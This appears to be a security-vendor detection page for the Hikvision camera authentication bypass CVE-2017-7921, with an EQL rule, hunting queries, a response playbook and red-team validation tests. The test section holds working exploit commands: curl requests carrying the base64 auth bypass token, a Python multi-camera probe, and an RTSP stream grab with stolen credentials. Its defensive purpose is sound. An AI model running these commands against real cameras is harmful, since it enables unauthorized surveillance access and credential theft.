CVE-2017-7921 Elastic Security · Elastic

Detect Hikvision Improper Authentication Exploitation (CVE-2017-7921) in Elastic Security

Detects exploitation attempts targeting CVE-2017-7921, an improper authentication vulnerability (CWE-287) in Hikvision IP cameras and multiple products. This vulnerability allows unauthenticated attackers to bypass authentication and gain unauthorized access to camera streams, configurations, and credentials by manipulating URL parameters. Listed on CISA KEV, indicating active exploitation in the wild. Attackers commonly use this to gain persistent access to surveillance infrastructure, pivot within networks, or exfiltrate sensitive footage.

MITRE ATT&CK

Tactic
Initial Access Persistence Credential Access Collection

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by source.ip with maxspan=5m
  [network where
    destination.port in (80, 443, 8000, 8080, 8443) and
    (
      url.path like~ "*/onvif/*" or
      url.path like~ "*/ISAPI/*" or
      url.path like~ "*/cgi-bin/*" or
      url.path like~ "*/SDK/*"
    ) and
    (
      url.query like~ "*auth=*" or
      url.query like~ "*ismerge=1*" or
      url.path like~ "*configurationFile*" or
      url.path like~ "*/Security/users*" or
      url.path like~ "*userCheck*"
    )
  ]
  [network where
    destination.port in (80, 443, 8000, 8080, 8443) and
    http.response.status_code in (200, 206)
  ]
critical severity high confidence

Elastic EQL sequence detection correlating a Hikvision auth-bypass request with a successful HTTP 200/206 response, indicating successful exploitation of CVE-2017-7921.

Data Sources

Elastic Agent Network EventsPacketbeatZeek HTTP Logs

Required Tables

logs-network.*packetbeat-*filebeat-*

False Positives & Tuning

  • Legitimate VMS software making successful API calls to authorized camera endpoints
  • Security audit tools with proper authorization receiving successful responses during assessments
  • Camera firmware update services accessing configuration endpoints with valid sessions

Other platforms for CVE-2017-7921

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Hikvision Auth Bypass via URL Parameter

    Expected signal: HTTP GET request to /ISAPI/Security/users with auth= query parameter visible in proxy/firewall logs; HTTP 200 response body containing XML user data if device is vulnerable

  2. Test 2Hikvision Configuration File Exfiltration

    Expected signal: HTTP GET request to /System/configurationFile with auth= parameter in proxy logs; if vulnerable, a binary configuration file download (often large, >100KB) in response

  3. Test 3Hikvision Default Credential Base64 Bypass

    Expected signal: Multiple HTTP GET requests to Hikvision ISAPI endpoints across one or more camera IPs with identical base64 auth parameter; sequential probing pattern visible in proxy logs

  4. Test 4RTSP Stream Access Post-Exploitation

    Expected signal: RTSP connection attempt to port 554 on camera IP with credentials in the URL; network logs show TCP session establishment on port 554 from non-standard client

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the destination IP of the suspicious request and determine if it corresponds to a known Hikvision camera or NVR on the asset inventory. Check asset tags, VLAN assignment, and whether the device is managed or unmanaged.
  2. Examine the specific URL pattern triggered: requests to `/configurationFile` or `/Security/users` with a 200 response are high-confidence exploitation; requests with `auth=` base64 parameters that decode to 'admin:11' or similar default credentials indicate active bypass attempts.
  3. Review HTTP response codes associated with the suspicious requests. A 200 or 206 response to an unauthenticated configuration or user endpoint strongly indicates successful exploitation rather than a failed probe.
  4. Cross-reference the source IP against threat intelligence feeds. Determine if it is external (internet-facing attack), internal (compromised host on LAN probing cameras), or from an authorized scanning range.
  5. Check for subsequent lateral movement from the same source IP following the camera access — particularly connections to internal subnets, RTSP streams (port 554), or credential reuse attempts against other systems.

Containment

  1. If exploitation is confirmed (successful 200 response to auth-bypass endpoint), immediately isolate the affected camera(s) at the network level by blocking the device MAC address or placing the switch port in a quarantine VLAN. Do not simply disable the camera — preserve evidence.
  2. Block the attacker source IP at the perimeter firewall and web proxy for both inbound and outbound traffic. If the source is internal, isolate the originating workstation and trigger an endpoint incident response workflow.
  3. Rotate all credentials on affected Hikvision devices after patching. Default credentials (admin/12345, admin/admin) must be replaced with strong unique passwords. Audit all cameras in the same subnet for the same vulnerability.

Evidence Collection

  1. Capture full HTTP request and response logs for the suspicious sessions, including headers, URL parameters, and response bodies. These contain evidence of what data was accessed (config files, user lists, RTSP credentials).
  2. If the camera or NVR has local logging enabled, extract the device access log via a forensic copy — do not authenticate through the compromised interface. Use a hardware serial connection or pull the storage media if possible.
  3. Export NetFlow or firewall session records for the affected camera IP for the 72 hours preceding detection to establish the full scope of attacker reconnaissance and access timeline.

Escalation Criteria

  • !Escalate immediately to incident response if HTTP 200 responses are confirmed to `/configurationFile` or `/Security/users` endpoints — this confirms credentials and camera configuration have been exfiltrated, constituting a data breach.
  • !Escalate to senior security leadership and legal/compliance if the compromised cameras are in sensitive physical locations (server rooms, executive areas, access control points) or if the organization is subject to NDAA Section 889 compliance obligations regarding Hikvision equipment.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >HTTP access logs on proxy/firewall showing GET requests to Hikvision ISAPI or ONVIF endpoints with authentication bypass parameters
  • >Network capture (PCAP) showing unauthenticated access to `/ISAPI/Security/users` or `/onvif/device_service` returning 200 with user credential data
  • >Hikvision device syslog entries (if forwarded to SIEM) showing unauthorized access events or configuration reads
  • >Camera RTSP stream access logs showing unauthorized viewing of live or recorded footage following credential extraction

Tuning Guidance

Reduce false positives by building an allowlist of known Hikvision management application IPs (iVMS servers, NVR management interfaces, authorized VMS platforms) and excluding them from the detection. Further tune by requiring HTTP response code 200 to increase confidence that exploitation succeeded rather than failed. In environments with active vulnerability scanning programs, exclude the scanner IP ranges during scheduled scan windows. If ONVIF discovery is widely used, consider scoping the detection to only trigger on the specific authentication bypass parameters (`auth=`, `ismerge=1`, `configurationFile`) rather than all ONVIF endpoints. Increase severity weighting for requests originating from external internet IPs versus internal RFC1918 space.

Hunting Queries

Hunt for unauthorized RTSP stream access to camera infrastructure, which may indicate post-exploitation access to video feeds following CVE-2017-7921 credential theft. Filters out known legitimate clients.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where DestinationPort in (554, 8554)
| where RequestURL has "rtsp://"
| extend DecodedUA = tolower(RequestClientApplication)
| where DecodedUA !has "vlc" and DecodedUA !has "hikvision" and DecodedUA !has "ivms"
| summarize StreamCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SourceIP, DestinationIP
| where StreamCount > 5
| sort by StreamCount desc
Hunting — SPL
spl 
index=network dest_port=554 OR dest_port=8554
| search NOT (http_user_agent="VLC*" OR http_user_agent="Hikvision*" OR http_user_agent="iVMS*")
| stats count as stream_attempts, min(_time) as first_seen, max(_time) as last_seen by src_ip, dest_ip
| where stream_attempts > 5
| sort - stream_attempts

Hunt for post-exploitation activity on Hikvision cameras including firmware modification, reboot commands, network reconfiguration, or PTZ control, which indicate an attacker maintaining persistence or manipulating camera positioning.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where RequestURL has_any ("/ISAPI/System/updateFirmware", "/ISAPI/System/reboot", "/ISAPI/Network/", "/ISAPI/PTZCtrl/")
| summarize ActionCount = count(), Actions = make_set(RequestURL, 10), SourceIPs = make_set(SourceIP, 5) by DestinationIP
| where ActionCount > 3
| sort by ActionCount desc
Hunting — SPL
spl 
index=proxy OR index=network
| search uri_path="*/ISAPI/System/updateFirmware*" OR uri_path="*/ISAPI/System/reboot*" OR uri_path="*/ISAPI/Network/*" OR uri_path="*/ISAPI/PTZCtrl/*"
| stats count as action_count, values(uri_path) as actions, values(src_ip) as source_ips by dest_ip
| where action_count > 3
| sort - action_count

Atomic Red Team Tests

Test 1 Hikvision Auth Bypass via URL Parameter
linux

Simulates CVE-2017-7921 exploitation by sending an unauthenticated GET request with the auth bypass query parameter to the Hikvision ISAPI user endpoint. In a vulnerable device this returns a list of users and password hashes.

Command

bash 
curl -v 'http://<CAMERA_IP>/ISAPI/Security/users?auth=YWRtaW46MTEQ' -H 'Accept: application/xml' --connect-timeout 10

Cleanup

bash 
No cleanup required — read-only request. Remove test logs from the camera if accessible.

Expected Telemetry

HTTP GET request to /ISAPI/Security/users with auth= query parameter visible in proxy/firewall logs; HTTP 200 response body containing XML user data if device is vulnerable

Expected Detection

kql and spl queries trigger on RequestURL containing '/ISAPI/Security/users' with 'auth=' parameter; risk_score=70, pattern=user-enumeration

Test 2 Hikvision Configuration File Exfiltration
linux

Simulates the configuration file download attack path of CVE-2017-7921, where an unauthenticated attacker can download the full device configuration including credentials.

Command

bash 
curl -v 'http://<CAMERA_IP>/System/configurationFile?auth=YWRtaW46MTEQ' -o /tmp/hikvision_config_test.txt --connect-timeout 10 && echo 'Config retrieved' || echo 'Not vulnerable'

Cleanup

bash 
rm -f /tmp/hikvision_config_test.txt

Expected Telemetry

HTTP GET request to /System/configurationFile with auth= parameter in proxy logs; if vulnerable, a binary configuration file download (often large, >100KB) in response

Expected Detection

Queries trigger on 'configurationFile' in URL with auth bypass parameter; risk_score=85, pattern=config-exfil-attempt

Test 3 Hikvision Default Credential Base64 Bypass
linux

Tests the specific base64-encoded default credential bypass (admin:11 encoded) that exploits improper authentication validation in vulnerable Hikvision firmware versions.

Command

bash 
python3 -c "
import urllib.request, base64
cams = ['<CAMERA_IP1>', '<CAMERA_IP2>']
for ip in cams:
    for path in ['/ISAPI/Security/users', '/onvif/device_service', '/ISAPI/System/deviceInfo']:
        try:
            url = f'http://{ip}{path}?auth=YWRtaW46MTEQ'
            req = urllib.request.urlopen(url, timeout=5)
            print(f'VULNERABLE: {ip}{path} -> HTTP {req.status}')
        except Exception as e:
            print(f'NOT VULNERABLE or unreachable: {ip}{path} -> {e}')
"

Cleanup

bash 
No files created. Remove test entries from camera access logs if accessible via admin interface.

Expected Telemetry

Multiple HTTP GET requests to Hikvision ISAPI endpoints across one or more camera IPs with identical base64 auth parameter; sequential probing pattern visible in proxy logs

Expected Detection

Detection triggers on auth=YWRtaW46MTEQ pattern; risk_score=90, pattern=default-credential-bypass; multi-target scanning raises request_count in aggregation

Test 4 RTSP Stream Access Post-Exploitation
linux

Simulates post-exploitation access to camera RTSP streams after credential extraction via CVE-2017-7921, demonstrating impact of surveillance infrastructure compromise.

Command

bash 
ffprobe -v quiet -print_format json -show_streams 'rtsp://admin:extracted_password@<CAMERA_IP>:554/Streaming/Channels/101' 2>&1 | head -50

Cleanup

bash 
Kill any spawned ffprobe processes. No files written by default.

Expected Telemetry

RTSP connection attempt to port 554 on camera IP with credentials in the URL; network logs show TCP session establishment on port 554 from non-standard client

Expected Detection

Hunting query for unauthorized RTSP access triggers; user agent does not match known Hikvision client patterns; multiple stream accesses from single source IP

Related Detections

Tactic Hubs

TA0001Initial AccessTA0003PersistenceTA0006Credential AccessTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1078.001Default AccountsT1552.001Credentials In FilesT1213Data from Information Repositories

Same Tactic: Initial Access

Popular Detections